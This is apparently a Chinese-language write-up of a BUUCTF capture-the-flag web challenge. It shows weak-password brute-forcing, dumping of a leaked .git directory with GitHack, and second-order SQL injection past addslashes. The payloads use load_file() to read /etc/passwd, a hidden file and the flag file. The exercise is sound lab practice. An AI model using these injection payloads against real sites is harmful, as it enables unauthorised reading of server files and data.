题目链接:BUUCTF在线评测
考点:二次注入,git源码泄露,addslashes函数绕过
首先发帖的时候必须登录,爆破弱密码登录,得到666是满足的后三位密码的。是一个类似留言板的界面,考虑二次注入,并且有git源码泄露
用githck工具下载源码:
安装此工具并开始利用获取源码
https://github.com/wangyihang/githacker
git clone https://github.com/wangyihang/githacker
python GitHack.py --url http://633e13bc-587b-4e68-9cc6-2489ec00cdc5.node4.buuoj.cn/.git/
得到write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
没啥用,应该是代码缺失了,使用命令git log --all恢复文件,得到完整源代码:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
分析如下:
addslashes()对预定义字符进行转义,例如 ‘ “ \ NULL,给其加上/,放到数据库后会把转义符 \ 去掉,并存入数据库中。
sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
对于category(发帖页面),在category中放入payload,存入数据库的值从数据库取出来后并没有进行转义,所以在cmment中,也就是留言页面,刚刚取出来的值直接用sql insert插入语句来跟cmment里的语句拼接构成二次注入。
构造如下,在
输入:
1',content=database(),/*
然后在:
输入:*/# sql语句是换行的,所以我们无法用单行注释符,必须用/**/拼接,用#闭合sql语句使其执行。可以看到执行成功,返回ctf这个库。
接下来尝试sql语句注入都失败了,看了大佬的wp,用sql来读取文件。模板:select load_file(‘文件绝对路径’)。
接下来的构造如下:
查看用户:
1',content=(select (load_file('/etc/passwd'))),/*
查看隐藏文件:
a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
得到:
HEX转字符 十六进制转字符 hex gb2312 gbk utf8 汉字内码转换 - The X 在线工具
转为字符串
接着访问:
1',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
拿去解密,得到flag:
16进制转换,16进制转换文本字符串,在线16进制转换 | 在线工具
flag{49f6d797-63b1-48bc-b492-37dcb3343adf}